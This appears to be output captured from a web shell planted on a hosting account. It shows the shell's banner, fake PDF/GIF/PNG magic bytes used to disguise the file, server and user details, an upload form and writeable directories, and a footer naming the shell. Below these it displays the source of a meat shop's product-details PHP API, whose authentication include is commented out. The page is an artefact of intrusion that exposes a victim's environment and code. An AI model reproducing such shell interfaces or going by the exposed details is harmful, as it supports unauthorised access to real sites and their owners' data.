%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/product_details.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
// include('auth.php');

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);

    exit;
}

$product_id = intval($_REQUEST['product_id'] ?? 0);

if ($product_id <= 0) {

    response(false, "Product ID is required", [

        "required_fields" => [
            "product_id"
        ],

        "example_url" =>
            BASE_URL .
            "api/product_details.php?product_id=1",

        "sample_request" => [
            "product_id" => 1
        ]
    ]);
}

$sql = "
SELECT
a.*,
c.category
FROM areawecover a
LEFT JOIN arawecovercategory c
ON a.category_id=c.id
WHERE a.id='$product_id'
";

$query = mysqli_query($conn, $sql);

if (mysqli_num_rows($query) == 0) {

    response(false, "Product not found");
}

$product = mysqli_fetch_assoc($query);

/*
|--------------------------------------------------------------------------
| Price & Offer
|--------------------------------------------------------------------------
*/

$price = (float)$product['price'];

$actual_price = (float)$product['actual_price'];

$offer_percentage = 0;

if (
    $actual_price > 0 &&
    $actual_price > $price
) {

    $offer_percentage = round(
        (
            ($actual_price - $price)
            /
            $actual_price
        ) * 100
    );
}

$save_amount = $actual_price - $price;

if ($save_amount < 0) {
    $save_amount = 0;
}

/*
|--------------------------------------------------------------------------
| Stock
|--------------------------------------------------------------------------
*/

$stock = (int)$product['stock'];

$is_in_stock = ($stock > 0);

$low_stock_message = '';

if ($stock <= 0) {

    $low_stock_message =
        'Out Of Stock';

} elseif ($stock <= 10) {

    $low_stock_message =
        'Only ' . $stock . ' Left';
}

/*
|--------------------------------------------------------------------------
| Best For
|--------------------------------------------------------------------------
*/

$best_for = [

    "Slow Cooked Curry",
    "Roast Lamb",
    "Grilled BBQ",
    "Traditional French dishes"
];

/*
|--------------------------------------------------------------------------
| Specifications
|--------------------------------------------------------------------------
*/

$specifications = [

    "weight" =>
        $product['weight'] ?: "",

    "cut_type" =>
        "Shoulder",

    "freshness" =>
        "Same Day Cut",

    "origin" =>
        "France",

    "storage" =>
        "Chilled 0-4°C",

    "halal" =>
        "Certified"
];

/*
|--------------------------------------------------------------------------
| Related Products
|--------------------------------------------------------------------------
*/

$related_products = [];

$relatedQry = mysqli_query(
    $conn,
    "SELECT id,title,image,price,actual_price,stock
     FROM areawecover
     WHERE category_id='".$product['category_id']."'
     AND id!='".$product['id']."'
     AND status='1'
     ORDER BY id DESC
     LIMIT 4"
);

while ($rel = mysqli_fetch_assoc($relatedQry)) {

    $rel_price = (float)$rel['price'];

    $rel_actual_price =
        (float)$rel['actual_price'];

    $rel_offer_percentage = 0;

    if (
        $rel_actual_price > 0 &&
        $rel_actual_price > $rel_price
    ) {

        $rel_offer_percentage = round(
            (
                ($rel_actual_price - $rel_price)
                /
                $rel_actual_price
            ) * 100
        );
    }

    $related_products[] = [

        "id" => $rel['id'],

        "title" => $rel['title'],

        "price" => $rel_price,

        "actual_price" =>
            $rel_actual_price,

        "offer_percentage" =>
            $rel_offer_percentage,

        "currency_symbol" =>
            $currency_symbol,

        "currency_code" =>
            $currency_code,

        "image" =>
            !empty($rel['image'])
            ? BASE_URL .
              "admin/dataimg/" .
              $rel['image']
            : ""
    ];
}

/*
|--------------------------------------------------------------------------
| Response
|--------------------------------------------------------------------------
*/

response(true, "Product Details Loaded", [

    "product" => [

        "id" =>
            $product['id'],

        "category_id" =>
            $product['category_id'],

        "category" =>
            $product['category'],

        "title" =>
            $product['title'],

        "description" =>
            strip_tags($product['content']),

        "price" =>
            $price,

        "actual_price" =>
            $actual_price,

        "offer_percentage" =>
            $offer_percentage,

        "currency_symbol" =>
            $currency_symbol,

        "currency_code" =>
            $currency_code,

        "save_amount" =>
            $save_amount,

        "weight" =>
            $product['weight'],

        "stock" =>
            $stock,

        "is_in_stock" =>
            $is_in_stock,

        "low_stock_message" =>
            $low_stock_message,

        "image" =>
            !empty($product['image'])
            ? BASE_URL .
              "admin/dataimg/" .
              $product['image']
            : "",

        "best_for" =>
            $best_for,

        "specifications" =>
            $specifications,

        "action_button" =>
            $is_in_stock
                ? "Add To Cart"
                : "Notify Me",

        "action_api" =>
            $is_in_stock
                ? BASE_URL . "api/add_to_cart.php"
                : BASE_URL . "api/notify_me.php"
    ],

    "related_products" =>
        $related_products
]);

$conn->close();

?>

VaKeR 2022